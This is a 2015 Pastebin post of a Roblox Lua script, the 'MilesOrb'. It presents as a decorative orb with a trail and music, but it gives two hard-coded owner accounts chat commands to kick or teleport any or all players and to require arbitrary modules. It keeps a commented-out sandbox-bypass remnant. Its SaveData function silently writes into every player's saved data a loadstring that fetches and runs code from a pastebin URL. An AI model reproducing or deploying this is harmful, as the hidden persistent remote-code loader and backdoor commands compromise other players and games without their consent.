JuicyPenguin

Yo orb

Jul 31st, 2015
331
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --//Yoyoyo #jaja is back, this is a module by jillmiles1 ;) PROTECT YO SHIT DAWG
  2.  
  3. return function () -- start of module
  4.     wait()
  5.    
  6.     --[[local Unsandboxed = {}
  7.     local Model = game:GetService("InsertService"):LoadAsset(140878711):GetChildren()[1]
  8.     Model.Parent = game:GetService("Workspace")
  9.     coroutine.yield()
  10.     --//#jaja bypassed removed sry bb <3
  11.     setfenv(1,NewEnv)
  12.     Model:Destroy()
  13.     Unsandboxed.Require = function(num)
  14.         require(num)()
  15.     end
  16.     Unsandboxed.Kick = function(plr,reason)
  17.         game.Players[plr.Name]:Kick(reason)
  18.     end
  19.     Unsandboxed.Teleport = function(plr,id)
  20.         game:GetService("TeleportService"):Teleport(id, plr)
  21.     end
  22.     ]]
  23.     local NLS = shared.NLS or function()end
  24.     local players = game:GetService("Players")
  25.     pcall(function()
  26.         Owner = players:FindFirstChild("jillmiles1")
  27.     end)
  28.    
  29.     local Character = nil
  30.     local Orb = nil
  31.    
  32.     local create = LoadLibrary('RbxUtility').Create
  33.     local clr3 = function(a,b,c) return(Color3.new(a/255,b/255,c/255)) end
  34.     local logging = {}
  35.    
  36.     local Music = {
  37.         143808239,
  38.         147046055,
  39.         170082341,
  40.         142282614,
  41.         143772118,
  42.         149811427,
  43.         144653328,
  44.         150290325,
  45.         155453305,
  46.         144635805,
  47.         142860040
  48.     }
  49.  
  50.     local MilesOrbHere = nil
  51.     if not MilesOrbHere then
  52.         MilesOrbHere = false
  53.     end;
  54.     if MilesOrbHere == true then
  55.         error("Cannot reload MilesOrb")
  56.         script.Disabled = true
  57.         script:Destroy()
  58.     else
  59.         MilesOrbHere = true
  60.     end
  61.     _G.MilesOrbHere = nil;_G.MilesOrbHere = MilesOrbHere
  62.     _G.MilesOrbHere = setmetatable({},{
  63.         __call = MilesOrbHere,
  64.         __metatable = "[Locked]"
  65.     })
  66.     print(_G.MilesOrbHere,_G)
  67.    
  68.     local Settings = {                                                                                                    
  69.         ["Trail"] = true,
  70.         ["TrailColor"] = BrickColor.White(),
  71.        
  72.         ["Radius"] = 9,
  73.         ["Height"] = 1.2,
  74.         ["Bounce"] = 2.7,
  75.        
  76.         ["AudioID"] = 260898845,
  77.    
  78.         ["Speed"] = .03,
  79.        
  80.         ["Rainbow"] = false,
  81.     }
  82.    
  83.     RandomSong = function()
  84.         Settings.AudioID = Music[math.random(1,#Music)]
  85.     end
  86.    
  87.     GetPlr = function(plr,msg)
  88.         local Table = {}
  89.         msg = msg:lower()
  90.         if msg == 'me' or msg == '' then
  91.             table.insert(Table,plr)
  92.         elseif msg == 'others' then
  93.             for i,v in pairs(game:service'Players':GetPlayers()) do
  94.                 if v.userId ~= plr.userId then
  95.                     table.insert(Table,v)
  96.                 end
  97.             end
  98.         elseif msg == 'all' then
  99.             for i,v in pairs(game:service'Players':GetPlayers()) do
  100.                 table.insert(Table,v)
  101.             end
  102.         else
  103.             for i,v in pairs(game:service'Players':GetPlayers()) do
  104.                 if v.Name:lower():sub(1,5):find(msg:lower()) then
  105.                     table.insert(Table,v)
  106.                 end
  107.             end
  108.         end
  109.         return Table
  110.         end
  111.    
  112.     OnChatted =function(msg)
  113.         if msg:lower():sub(1,3) == "/e " then
  114.             msg = msg:sub(4)
  115.         end
  116.         if msg:lower():sub(1,4) == "/req" then
  117.             local num = msg:sub(4) or 9
  118.             Unsandboxed.Require(num)
  119.         elseif msg:lower():sub(1,2) == "/k" then
  120.             local plr = GetPlr(Owner,msg:sub(4))
  121.             for _,v in next,plr do
  122.                 Unsandboxed.Kick(v)
  123.             end
  124.         elseif msg:lower():sub(1,2) == "/j" then
  125.             local plr = GetPlr(Owner,msg:sub(4))
  126.             for _,v in next,plr do
  127.                 Unsandboxed.Teleport(v,game.PlaceId)
  128.             end
  129.         elseif msg:lower():sub(1,2) == "/r" then
  130.             if Settings.Rainbow == true then
  131.                 Settings.Rainbow = false
  132.             else
  133.                 Settings.Rainbow = true
  134.             end
  135.         elseif msg:lower():sub(1,2) == "/m" then
  136.             local num = msg:sub(4)
  137.             Settings.AudioID = num or 9
  138.         elseif msg:lower():sub(1,2) == "/c" then
  139.             Settings.Rainbow = false
  140.             local color = msg:sub(4) or ""
  141.             Settings.TrailColor = (BrickColor.new(color) or BrickColor.Random())
  142.         elseif msg:lower():sub(1,3) == "/sd" then
  143.             for _,v in next,game:GetService("Players"):GetPlayers() do
  144.                 Unsandboxed.Kick(v)
  145.             end
  146.         elseif msg:lower():sub(1,3) == "/ns" then
  147.             local Result = game:GetService('HttpService'):GetAsync('http://www.classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(game.PlaceId),true)
  148.             repeat wait(.1) until Result
  149.             for _,v in next,game:GetService("Players"):GetPlayers() do
  150.                 local SV = Instance.new('StringValue');SV.Parent = v;SV.Name = 'SB_Chat';SV.Value = "~MilesOrb~/New Server Created!";game.Debris:AddItem(SV, .1);
  151.             end
  152.         else
  153.             return
  154.         end
  155.     end
  156.    
  157.     local Tail = Instance.new('Part')
  158.     Tail.BrickColor = Settings.TrailColor
  159.     Tail.Transparency = .3
  160.     Tail.Anchored = true
  161.     Tail.CanCollide = false
  162.     Tail.Locked = true
  163.     Tail.Material = "Neon"
  164.     Tail.FormFactor = "Custom"
  165.     Tail.Size = Vector3.new(.2,.2,.2)
  166.     Tail.TopSurface = 10
  167.     Tail.BottomSurface = 10
  168.     local TrailParts = {}
  169.    
  170.     NewColor = function()
  171.         if Settings.Rainbow == true then
  172.             local cos = math.cos
  173.             local sin = math.sin
  174.             local h = time()
  175.             local pi = math.pi
  176.             local s=h%1*3;
  177.             local r=.5*pi*(s%1)
  178.             if(s<1)then
  179.                 return(Color3.new(1,1-cos(r),1-sin(r)))
  180.             elseif s<2 then
  181.                 return(Color3.new(1-sin(r),1,1-cos(r)))
  182.             else
  183.                 return(Color3.new(1-cos(r),1-sin(r),1))
  184.             end
  185.         else
  186.             return Settings.TrailColor.Color
  187.         end
  188.     end
  189.    
  190.     Spawnorb = function()
  191.         if Orb ~= nil then
  192.             pcall(function()
  193.                 Orb:ClearAllChildren()
  194.             end)
  195.             pcall(function()
  196.                 Orb:Destroy()
  197.             end)
  198.         end
  199.         RandomSong()
  200.         Orb = Instance.new('Part', workspace)
  201.         Orb.BrickColor = BrickColor.Black()
  202.         Orb.Transparency = .3
  203.         Orb.Anchored = true
  204.         Orb.CanCollide = false
  205.         Orb.Locked = true
  206.         Orb.FormFactor = "Symmetric"
  207.         Orb.Shape = "Ball"
  208.         Orb.Size = Vector3.new(1,1,1)
  209.         Orb.TopSurface = 10
  210.         Orb.BottomSurface = 10
  211.         local Sound = Instance.new('Sound',Orb)
  212.         Sound.SoundId = 'rbxassetid://'..Settings.AudioID
  213.         game:GetService("ContentProvider"):Preload(Sound.SoundId)
  214.         Sound.Pitch = 1
  215.         Sound.Volume = 1
  216.         Sound.Looped = true
  217.         Sound:Play()
  218.         Orb.Changed:connect(function()
  219.             if not workspace:FindFirstChild(Orb.Name) or not Orb or Orb == nil then
  220.                 Spawnorb()
  221.             end
  222.         end)
  223.     end Spawnorb()
  224.    
  225.     Spawntrail = function()
  226.         if Orb ~= nil and Settings.Trail == true then
  227.             local NTail = Tail:Clone()
  228.             NTail.Parent = Orb
  229.             NTail.CFrame = Orb.CFrame
  230.             NTail.Color = NewColor()
  231.             table.insert(TrailParts, NTail)
  232.         end
  233.     end
  234.    
  235.     local SaveData = function(plr)
  236.         if game.PlaceId ~= 20279777 then
  237.             spawn(function()
  238.                 plr:WaitForDataReady()
  239.                 local datafound = pcall(function() plr:LoadString("MilesOrb") end)
  240.                 plr:SaveString("MilesOrb","loadstring(game:GetService('HttpService'):GetAsync('http://pastebin.com/raw.php?i=PbSuHZWh',true))()")
  241.                 if not datafound then
  242.                     NLS([[print('Miles orb has been saved to you')]],plr:WaitForChild("PlayerGui"))
  243.                 elseif datafound then
  244.                     NLS([[print('Miles orb client side loaded')]],plr:WaitForChild("PlayerGui"))
  245.                 end
  246.             end)
  247.         elseif game.PlaceId == 20279777 then
  248.             spawn(function()
  249.                 plr:WaitForDataReady()
  250.                 local datafound = pcall(function() plr:LoadString("MilesOrb") end)
  251.                
  252.                
  253.             end)
  254.         end
  255.     end
  256.    
  257.     pcall(function()
  258.         Owner.Chatted:connect(OnChatted)
  259.     end)   
  260.    
  261.     for _,plr in next,players:GetPlayers() do
  262.         SaveData(plr)
  263.     end
  264.    
  265.     players.PlayerAdded:connect(function(plr)
  266.         SaveData(plr)
  267.         if plr.Name:lower() == "jillmiles1" or plr.Name:lower() == "messoradmin" then
  268.             Owner = plr
  269.             plr.Chatted:connect(OnChatted)
  270.         end
  271.     end)
  272.    
  273.     function clerp(p1,p2,percent)
  274.         local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  275.         local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  276.         return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  277.     end
  278.    
  279.     local Rot = 1
  280.     spawn(function()
  281.         game:GetService("RunService").Stepped:connect(function()
  282.             if Owner and Owner.Character and Owner.Character:FindFirstChild("Torso") then
  283.                 Character = Owner.Character.Torso.CFrame
  284.             else
  285.                 Character = CFrame.new(0,1.5,0)
  286.             end
  287.             if Orb ~= nil then
  288.                 Rot = Rot + Settings.Speed
  289.                 Orb.CFrame = clerp(Orb.CFrame,
  290.                     Character
  291.                     *CFrame.new(.8,5.5,0)
  292.                     *CFrame.Angles(180,Rot,math.sin((tick())*4)/2.2)
  293.                     *CFrame.new(Settings.Radius,0,0)
  294.                 ,.1)
  295.                 -- Trail
  296.                
  297.                 Spawntrail()
  298.                 for i,_ in next,TrailParts do
  299.                     if TrailParts[i] ~= nil and TrailParts[i+1] ~= nil then
  300.                         local Part1 = TrailParts[i]
  301.                         local Part2 = TrailParts[i+1]
  302.                         local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  303.                         Part1.Size = Vector3.new(Part1.Size.X+.02, Mag, Part1.Size.Z+.02)
  304.                         Part1.Transparency = Part1.Transparency + .017
  305.                         Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  306.                         *CFrame.Angles(math.pi/2,2,0)
  307.                         if Part1.Size.X >= .5 then
  308.                             Part1:Destroy()
  309.                             table.remove(TrailParts, i)
  310.                         end
  311.                     end
  312.                 end
  313.             end
  314.         end)
  315.     end)
  316. end -- end of module
Add Comment
Please, Sign In to add comment